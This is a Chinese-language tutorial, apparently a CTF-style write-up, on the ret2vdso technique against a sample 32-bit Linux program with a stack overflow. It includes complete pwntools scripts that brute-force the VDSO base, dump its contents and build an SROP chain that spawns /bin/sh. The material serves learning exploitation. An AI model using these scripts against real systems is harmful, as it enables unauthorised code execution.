ret2vdso exploit
字数 1377 2025-08-29 08:32:30
ret2vdso Exploit 技术详解
1. 前导知识
1.1 VDSO 概述
VDSO (Virtual Dynamic Shared Object) 是 Linux 内核提供的一个机制,用于加速系统调用:
- 传统
int 0x80系统调用较慢 - Intel 和 AMD 分别实现了
sysenter/sysexit和syscall/sysret快速系统调用指令 - Linux 通过 vsyscall 机制统一接口,具体实现由内核决定
- VDSO 可以看作是一个特殊的
.so动态库,但不同内核版本内容不同
1.2 VDSO 内容分析
64位 VDSO (vdso_x64.so)
包含的函数:
clock_gettime
gettimeofday
time
getcpu
ROP 指令分析:
- 仅有 62 条可用 gadget
- 可利用的指令较少
32位 VDSO (vdso_x86.so)
包含的函数:
__kernel_vsyscall
__vdso_gettimeofday
__kernel_sigreturn
__vdso_time
__kernel_rt_sigreturn
__vdso_clock_gettime
ROP 指令分析:
- 有 123 条 gadget
- 包含
__kernel_rt_sigreturn可用于 SROP - 比 64 位有更多可利用指令
2. 利用思路
2.1 VDSO 随机化特点
- 相比于栈和其他 ASLR,VDSO 随机化较弱
- 32 位系统有 1/256 的命中概率
- 地址范围在不同内核版本中不同:
- 较新内核:
0xf7ed0000-0xf7fd0000 - 旧内核:
0xf76d9000-0xf77ce000
- 较新内核:
2.2 利用步骤
- 泄露 VDSO:利用栈上的 VDSO 基地址指针
- 利用 VDSO 进行 ROP:特别是 SROP 技术
3. 实例分析
3.1 目标程序分析
示例程序 ret2vdso.s 反汇编后:
int main() {
size_t size;
char addr[128];
size = read(0, buf, 0x1000u);
memcpy(addr, buf, size);
write(1, addr, size);
return 0;
}
特点:
- 明显的栈溢出漏洞
- 非动态链接程序(
not a dynamic executable) - 自身 ROP gadget 极少(仅 36 条)
3.2 泄露 VDSO
使用格式化字符串泄露 VDSO 地址:
#include <stdio.h>
int main() {
printf("vdso addr: %124$p\n");
return 0;
}
Python 脚本批量测试:
import os
result = []
for i in range(100):
result += [os.popen('./vdso_addr').read()[:-1]]
result = sorted(result)
for v in result:
print(v)
3.3 读取 VDSO 内容
利用 write 函数读取 VDSO:
from pwn import *
import random
context(arch='i386', os='linux')
elf = ELF("./ret2vdso")
RANGE_VDSO = range(0xf7ed0000, 0xf7fd0000, 0x1000)
while True:
try:
sh = process("./ret2vdso")
vdso_addr = random.choice(RANGE_VDSO)
sh.send('a'*132 +
p32(elf.symbols['write']) +
p32(0) +
p32(1) + # fd
p32(vdso_addr) + # buf
p32(0x2000) # count
)
sh.recvuntil(p32(0x2000))
result = sh.recvall(0.1)
if len(result) != 0:
open('vdso.so', 'wb').write(result)
sh.close()
log.success("Success")
break
sh.close()
except:
sh.close()
3.4 SROP 利用
获取 shell 的完整脚本:
from pwn import *
import random
context(arch='i386', os='linux')
elf = ELF("./ret2vdso")
vdso = ELF("./vdso.so")
# 设置 /bin/sh 字符串位置
str_bin_sh_offset = 0x200
str_bin_sh_addr = elf.symbols['buf'] + str_bin_sh_offset
int_0x80 = 0x080480a5 # 程序中的 int 0x80 gadget
# 创建 SROP frame
frame = SigreturnFrame(kernel='i386')
frame.eax = constants.SYS_execve
frame.ebx = str_bin_sh_addr
frame.ecx = 0
frame.edx = 0
frame.eip = int_0x80
# 必须设置的寄存器值
frame.cs = 35 # 用户模式代码段选择子
frame.ss = 43 # 用户模式堆栈段选择子
frame.ds = 43 # 用户模式数据段选择子
frame.es = 43 # 用户模式额外段选择子
frame.gs = 0
frame.fs = 0
RANGE_VDSO = range(0xf7ed0000, 0xf7fd0000, 0x1000)
while True:
sh = process("./ret2vdso")
vdso_addr = random.choice(RANGE_VDSO)
# 构造 payload
payload = 'a'*128 + p32(0) + \
p32(vdso_addr + vdso.symbols['__kernel_rt_sigreturn']) + \
'c' * 40 * 4 + str(frame)
payload = payload.ljust(str_bin_sh_offset, '\x00') + '/bin/sh\x00'
sh.send(payload)
sh.recvuntil('/bin/sh\x00')
sh.sendline('echo hello')
try:
result = sh.recv()
if len(result) != 0:
log.success("Success")
sh.interactive()
break
except:
pass
sh.close()
4. 关键注意事项
-
Frame 设置:
- 32 位必须指定
kernel='i386' cs,ds,ss,es等段寄存器必须正确设置- 错误设置会导致崩溃
- 32 位必须指定
-
接收数据:
- 避免使用
recvall,容易导致 EOFError - 即使成功获取 shell 也可能因此崩溃
- 避免使用
-
Payload 构造:
- 需要额外填充 160 字节 (
40*4) - 这是因为
__kernel_rt_sigreturn和__kernel_sigreturn的区别 - 使用
__kernel_sigreturn则不需要此填充
- 需要额外填充 160 字节 (
-
VDSO 差异:
- 不同内核版本的 VDSO 内容不同
- 必须从目标系统获取实际的 VDSO 文件
5. 总结
ret2vdso 技术要点:
- 利用 VDSO 较弱的随机化特性
- 32 位系统成功率更高 (1/256)
- 需要先泄露 VDSO 内容
- 利用 VDSO 中的 gadget 构造 ROP 链
- 特别适合没有其他可用 gadget 的情况
该技术在以下场景特别有用:
- 非动态链接程序
- 程序自身 ROP gadget 极少
- 无法利用 libc 的情况